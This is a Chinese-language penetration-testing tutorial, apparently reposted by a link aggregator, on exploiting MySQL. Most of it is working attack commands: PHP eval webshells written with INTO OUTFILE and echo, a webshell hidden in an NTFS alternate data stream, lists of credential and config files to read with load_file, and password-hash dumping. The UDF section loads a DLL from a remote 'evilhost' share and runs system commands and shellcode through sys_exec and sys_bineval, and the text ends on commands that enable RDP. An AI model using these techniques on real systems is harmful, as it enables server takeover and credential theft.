60

Mysql 在渗透测试中的利用

 4 years ago
source link: http://www.K0rz3n.com/2018/10/21/Mysql 在渗透测试中的利用/?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

这个利用方式必须要是 root 登录权限,使用 select xxx ito outfile xxx 的形式,这个语句原来是用于快速导出某个表中的数据,或者整个表的,现在我们将我们的n 查询语句导出为 PHP 文件到 web 目录下

Select '<?php eval($_POST[cmd])?>' into outfile 'E:\phpstudy\PHPTutorial\WWW\123123.php';

但是使用这个语句的时候可能会出现几个问题:

(1)权限不够,我刚刚说过了,这个语句的使用必须是 root 权限,如果你非要尝试那只能得到下面的结果:

Access denied for user 'test'@'localhost' (using password: YES)

(2)受到 secure_file_priv 的限制,这个参数可以使用 mysql 命令行查询,查询语句如下:

show variables like '%secure%';

mysql 新版本下secure-file-priv字段 : secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下

当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

补充:

这个命令本身就是导出表的,我们创建表当然可以

CREATE TABLE `mysql`.`K0rz3n` (`K0rz3n1` TEXT NOT NULL ); 
INSERT INTO `mysql`.`K0rz3n` (`K0rz3n1` ) VALUES ('<?php @eval($_POST 
[pass]);?>'); 
SELECT `K0rz3n1` FROM `K0rz3n` INTO OUTFILE 'd:/www/exehack.php'; 
DROP TABLE IF EXISTS `K0rz3n`;

2.使用 echo 命令直接写 shell

这种情况是在能执行系统命令的时候采用的

echo ^<?php @eval(request[xxx])? ^^>^ >c:\web\www\shell.php

win 下面能直接这样写,其中 ^ 的是为了转义 < 字符

这个命令能在 UDF 提权以后成功执行,创建 webshell

3.隐藏webshell

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:

echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg

这样子就生成了一个不可见的shell a.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个a.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去,这样子就可以正常解析我们的一句话了。

4.一些补充:

Test.php 文件内容为 <?php phpinfo();?>

Test.php:a.jpg     会生成Test.php  文件内容为空

Test.php::$DATA  生成test.php  文件内容为<?php phpinfo();?>

Test.php::$INDEX_ALLOCATION  生成test.php文件夹

Test.php::$DATA\0.jpg  生成0.jpg  文件内容为<?php phpinfo();?>

Test.php::$DATA\aaa.jpg  生成aaa.jpg  文件内容为<?php phpinfo();?>

2.直接查询用户的密码

这方法同样需要 root 权限

select user,password from mysql.user;

然后你会看到一堆乱七八糟的字符,下面说一下 mysql 对密码的加密方式

password_str = concat(‘*’, sha1(unhex(sha1(password))))

3.load_file()使用注意:

load_file() 的作用是读取文件的内容,并将文件内容以字符串的形式返回,这个函数在渗透的过程中尤其的好用,但是这个函数的使用依然受到权限的限制以及 secure_file_Priv 的限制

select load_file("文件路径");

(1)win 下常见的敏感文件:

c:/boot.ini //查看系统版本 
c:/windows/php.ini //php配置信息 
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码 
c:/winnt/php.ini 
c:/winnt/my.ini 
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码 
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码 
c:\Program Files\Serv-U\ServUDaemon.ini 
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置 
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码 
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此 
c:\Program Files\RhinoSoft.com\ServUDaemon.exe 
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件 
//存储了pcAnywhere的登陆密码 
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件 
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息. 
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机 
d:\APACHE\Apache2\conf\httpd.conf 
C:\Program Files\mysql\my.ini 
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

(2)Linux 下常见的敏感文件

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件 
/usr/local/apache2/conf/httpd.conf 
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 
/usr/local/app/php5/lib/php.ini //PHP相关设置 
/etc/sysconfig/iptables //从中得到防火墙规则策略 
/etc/httpd/conf/httpd.conf // apache配置文件 
/etc/rsyncd.conf //同步程序配置文件 
/etc/my.cnf //mysql的配置文件 
/etc/redhat-release //系统版本 
/etc/issue 
/etc/issue.net 
/usr/local/app/php5/lib/php.ini //PHP相关设置 
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看 
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上 
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看 
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件 
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看 
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上 
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看 
/etc/sysconfig/iptables 查看防火墙策略 
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录 
replace(load_file(0×2F6574632F706173737764),0×3c,0×20) 
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

4.查看哪些账号哪些主机能够连接

前提是有 root 账号,能查询 mysql.user 表

select * from mysql.user;

这其中有一个 host 字段能显示,该账号允许的登录地址,如果是 127.0.0.1 就是只允许本机登录,如果出现了 192.168.1.%,表明整个C段的主机使用该账号登录

5.查看当前账号的权限

select * from mysql.user where user = substring_index(user(), '@', 1) ;

这个为什么我要拿出来说一下,虽然感觉和上面的是一样的,但是这里用到了 substrijng_index 这个函数,没有输入当前账号的名称,可能在某些情况能利用它绕过一些东西,于是就记录一下

6.查看 Mysql 结构 和 操作系统的结构

我们可以使用全局变量的方式查看这些信息

下面命令向我们展示了MySQL结构,操作系统的结构

mysql> select @@version_compile_os,@@version_compile_machine;
+----------------------+---------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+---------------------------+
| Win32                | AMD64                     |
+----------------------+---------------------------+
1 row in set (0.00 sec)

或者

mysql> show variables like '%compile%';\
+-------------------------+-------+
| Variable_name           | Value |
+-------------------------+-------+
| version_compile_machine | AMD64 |
| version_compile_os      | Win32 |
+-------------------------+-------+
2 rows in set (0.00 sec)

7.into outfile 和 into dunmpfile 的区别

这两个操作在 渗透测试中的作用不可小觑,不要以为长得差不多,他们的功能是有侧重的

into outfile 主要的目的是导出 文本文件,我们在渗透过程中是用来写 shell 的

into dumpfile 的主要目的是导出二进制文件,在后面我们讲到 UDF 提权的过程中会经常用到这个函数生成我们的 udf.dll

8.查看 MySQL 的安装路径

mysql> select @@basedir;
+-------------------------+
| @@basedir               |
+-------------------------+
| E:\mysql-5.6.41-winx64\ |
+-------------------------+
1 row in set (0.00 sec)


mysql> show variables like '%plugin%';
+---------------+------------------------------------+
| Variable_name | Value                              |
+---------------+------------------------------------+
| plugin_dir    | E:\mysql-5.6.41-winx64\lib\plugin\ |
+---------------+------------------------------------+
1 row in set (0.00 sec)

9.MYSQL 数据库user表

这个表里面藏着很多的好东西,和这个表有关的一共有三个文件即user.frm、user.MYD和 user.MYI,MYSQL数据库用户密码都保存在user.MYD文件中,包括root用户和其他用户的密码。在有权限的情况下,我们可以将User.frm、user.myd和User.myi三个文件下载到本地,通过本地的mysql环境直接读取user表中的数据。当然也可使用文本编辑器将user.MYD打开将root账号的密码复制出来到到cmd5.com进行查询和破解

10.怎么找 Mysql 的账号密码

方法一:翻配置文件

我们知道,如果是网站的项目,就一定会有和数据库的链接配置文件,我们可以从这个文件中找到连接数据库的账号密码,如果控制的不好就是 root 权限,很有利于我们的提权

1.dedecms数据库安装的信息就是写在data/common.inc.php

2.Discuz的数据库信息就在config/config_global_default.php、config /config_ucenter.php、config.inc.php

3.对于java会在/WEB-INF/config/config.properties中配置

一般数据库配置文件都会位于config、application、conn、db等目录,配置文件名称一般会是conn.asp/php/aspx/jsp等。

方法二:找历史记录

除了在文件中找以外,如果是 linux 系统,我们可以查看系统的历史命令,查看 ./root/.mysql_history、./root/.bash_history文件找mysql操作涉及的密码

对于 低版本的 MYSQL(5.1) 一下的,对用户名和密码的传输是不加密的,我们可以找到 binary log 文件找密码

三、MYSQL UDF 提权

1.什么是 UDF

那么什么是 UDF ? 全称是 User defined function(用户自定义函数),一听这个名字就知道我的基础权限要求还是很高的,要求数据库 root 权限

当我们有读取和写入权限以后,我们就可以尝试使用 udf 提权的方法,从数据库的 root 权限提升到 系统的管理员权限

2.放在哪里

因为叫 UDF 于是我们能编写自己的 DLL 然后让 mysql 调用,实现我们自定义的命令

从MySQL 5.0.67开始,UDF库必须包含在plugin文件夹中,可以使用’@@plugin_dir’全局变量找到它。这个变量可以在mysql.ini文件中看到和编辑。

mysql> select @@plugin_dir;
+-------------------------------------------+
| @@plugin_dir                              |
+-------------------------------------------+
| E:\phpstudy\PHPTutorial\MySQL\lib\plugin\ |
+-------------------------------------------+

mysql> show variables like 'plugin%';
+---------------+-------------------------------------------+
| Variable_name | Value                                     |
+---------------+-------------------------------------------+
| plugin_dir    | E:\phpstudy\PHPTutorial\MySQL\lib\plugin\ |
+---------------+-------------------------------------------+
1 row in set (0.00 sec)

从MySQL 5.0.67开始,文件必须位于plugin目录中。该目录取决于plugin_dir系统变量的值。如果plugin_dir的值为空,则参照5.0.67之前即文件必须位于系统动态链接器的搜索目录中。

3.怎么放进去

udf.dll 在哪

MSF 给我们提供了现成的 udf.dll ,位置在

/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll

方法一:远程加载

load_file() 函数支持远程加载,然后我们配合 dumpfile 实现写入

select load_file('\\\\evilhost\evil.dll') into dumpfile "E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll"

但是这里面有一个限制就是在lib 目录下一定要存在 plugin 目录,否则这个不能执行成功,会报一个错误,如下

#1 - Can't create/write to file 'E:\phpstudy\PHPTutorial\MySQL\lib\plugin\udf.dll' (Errcode: 2)

方法二:HEX 写入

在某些情况下我们可以将我们 udf.dll 转化成16进制然后写入,这样就不用连接外网了,我以64位的为例

select hex(load_file('E:\\lib_mysqludf_sys_64.dll')) into outfile "E:\\udf64.hex";

生成了 hex 文件以后我们可以将 hex 文件的内容复制出来,写入我们的命令

select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000… into dumpfile "E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll";

注意:

我们导出的 hex 格式前面是没有 0x 的,这个需要自己添加

方法三:分段写入数据表中,然后 select 那个字段

create table temp(data longblob);

insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);

update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);

select data from temp into dump file "E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll";

方法四:利用函数 to_base64 和 from_base64

从 MySQL 5.6.1 和 MariaDB 10.0.5 开始,我们就能使用 to_base64 和 from_base64 来进行编码了

select to_base64(load_file('E:\\lib_mysqludf_sys_64.dll')) into outfile "E:\\udf64.b64"

然后我们使用 from_base64 解码并结合 into dumpfile 写入 dll

select from_base64("base64 的内容,因为太长了就不贴了")

into dumpfile “E:\mysql-5.6.41-winx64\lib\plugin\udf64.dll”;

4.怎么利用这个 dll

我们要利用这个 dll 来安装我们写在 dll 中的函数,那我们需要看一下写这个 dll 的大佬给我们提供了哪些函数吧(于是翻出之前分析后门的工具,没想到还能在这里排上用场)

如图所示:

NJZJBrj.png!web

1.sys_exec()

当然是用频率最高的还是 sys_exec ,这个函数能让我们轻松地执行系统命令

让我们开始加载这函数吧

create function sys_exec RETURNS int soname 'udf.dll'

我们查看一下

mysql> select * from mysql.func where name = "sys_exec";
+----------+-----+---------+----------+
| name     | ret | dl      | type     |
+----------+-----+---------+----------+
| sys_exec |   2 | udf.dll | function |
+----------+-----+---------+----------+
1 row in set (0.00 sec)

好了,我们能愉快的执行命令了

select sys_exec('whoami')

运行结果:

mysql> select sys_exec('whoami');
+--------------------+
| sys_exec('whoami') |
+--------------------+
|                  0 |
+--------------------+
1 row in set (0.28 sec)

运行后你会快速看到命令执行的黑色框弹出,然后转瞬即逝,表明命令成功执行( 要是能回显就好了~~~ )

使用完了别忘了把函数删了

drop function sys_exec;

这个时候再看

mysql> select * from mysql.func where name = "sys_exec";
Empty set (0.00 sec)

2.sys_evel()

该功能将执行系统命令并在屏幕上通过标准输出显示,什么?真的可以?梦想就要成真了,我们来试试

create function sys_eval returns string soname 'udf.dll';

我们看一下:

mysql> select * from mysql.func where name = "sys_eval";
+----------+-----+---------+----------+
| name     | ret | dl      | type     |
+----------+-----+---------+----------+
| sys_eval |   0 | udf.dll | function |
+----------+-----+---------+----------+
1 row in set (0.00 sec)

执行:

mysql> select sys_eval('whoami');
+------------------------+
| sys_eval('whoami')     |
+------------------------+
| desktop-s2l4c24\k0rz3n |
+------------------------+
1 row in set (0.27 sec)

太完美了!

删除函数:

drop function sys_eval;

3.sys_get()

该函数返回系统变量的值

注册函数

create function sys_get returns string soname 'udf.dll';

查看:

mysql> select * from mysql.func where name = "sys_get";
+---------+-----+---------+----------+
| name    | ret | dl      | type     |
+---------+-----+---------+----------+
| sys_get |   0 | udf.dll | function |
+---------+-----+---------+----------+
1 row in set (0.00 sec)

使用:

select sys_get('longonserver');

结果:

mysql> Select sys_get('COMSPEC');
+-----------------------------+
| sys_get('COMSPEC')          |
+-----------------------------+
| C:\Windows\system32\cmd.exe |
+-----------------------------+
1 row in set (0.00 sec)

删除:

drop function sys_get;

4.执行Shellcode - sys_bineval

这个函数应该功能更强大,能直接执行 shellcode/任何二进制文件 ,我们把 shellcode/ 任意二进制文件 编码为 hex 或者 base64 ,然后在解码一下传递给他就行了

注册函数:

create function sys_bineval returns int soname 'udf.dll';

查看一下:

mysql> select * from mysql.func where name = "sys_bineval";
+-------------+-----+---------+----------+
| name        | ret | dl      | type     |
+-------------+-----+---------+----------+
| sys_bineval |   2 | udf.dll | function |
+-------------+-----+---------+----------+
1 row in set (0.00 sec)

我们先把我们要运行的二进制文件编码成 base64 形式

select to_base64(load_file('E:\\calc.exe')) into outfile "E:\\calc.b64"

使用:

select sys_bineval(from_base64(load_file('E:\\calc.b64')));

但是这个方法有些不稳定,我第一次尝试的时候 mysql 直接挂了,开都开不起来了,hhh,原作者也说了这个方法似乎不适用于 64位平台,但是在 32 位平台能正常工作

删除函数

drop function sys_bineval;

5.补充一些 trick

1.导出文件名的问题

导出的文件名不一定要是 xxx.dll ,我们可以任意命名,这个后缀名对创建函数没有任何影响

mysql>  create function sys_exec returns string soname 'udf.exp';
Query OK, 0 rows affected (0.01 sec)

2.不存在plugin 目录的问题

这个问题相当的棘手啊,mysql 5.1 以后我们必须将我们的 udf.dll 弄到我们的亲爱的 pplugin 目录下,但是要是偏偏没有这个目录怎么办?

kingcope提到了一种方法,利用NTFS ADS流来创建文件夹的方法,这个方法我们经常称之为 NTFS 隐写,可以用来写后门甚至 getshell

1.什么是 NTFS 的 ADS

在NTFS文件系统中存在着NTFS交换数据流(Alternate Data Streams,简称ADS),这是NTFS磁盘格式的特性之一。每一个文件,都有着主文件流和非主文件流,主文件流能够直接看到;而非主文件流寄宿于主文件流中,无法直接读取,这个非主文件流就是NTFS交换数据流,正因为这个特性,通常 ADS也被用于一些恶意文件隐藏自身,作为后门。

为了避免跑题,我这里就不讲解 NTFS ADS 的其他用途,我们就来看一下怎么创建文件夹

2.怎么在只能导出文件的情况下导出一个文件夹

我们创建一个空的名为 TEST 的文件夹

如图所示:

rQRfieF.png!web

然后我们执行下面这条命令

echo xxx > test::$INDEX_ALLOCATION

结果如图所示:

YveqEfq.png!web

我们清楚地看到本来是创建文件的命令在 ::$INDEX_ALLOCATION 的作用下创建成了一个文件夹(这个应该是一个漏洞,微软在最近的漏洞补丁中生成要修复这个漏洞,并且有了CVE 编号 CVE-2018-1036/NTFS EOP,不过我目前本地测试应该没有收到影响)

2.试一下使用 mysql 导出文件的方法能不能成功

首先看一下我本地的 xxx/mysql/lib/ 下面没有 plugin 文件夹

如图所示:

aUNnyuB.png!web

执行文件导出命令:

select 'xxx' into outfile 'E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

结果:

#1 - Can't create/write to file 'E:\phpstudy\PHPTutorial\MySQL\lib\plugin::$INDEX_ALLOCATION' (Errcode: 13 - Permission denied)

失败了。。。。,心情复杂,具体原因我也不是很清楚,因为我创建普通文件的时候是可以的,如果有师傅尝试成功还望不吝赐教

3.能执行命令以后我们能做更多

(1)先看一下 3389 开没开:

netstat -an |find "3389"

###### (2)Windows 2008Server命令行开启3389

wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 

wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v

参考


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK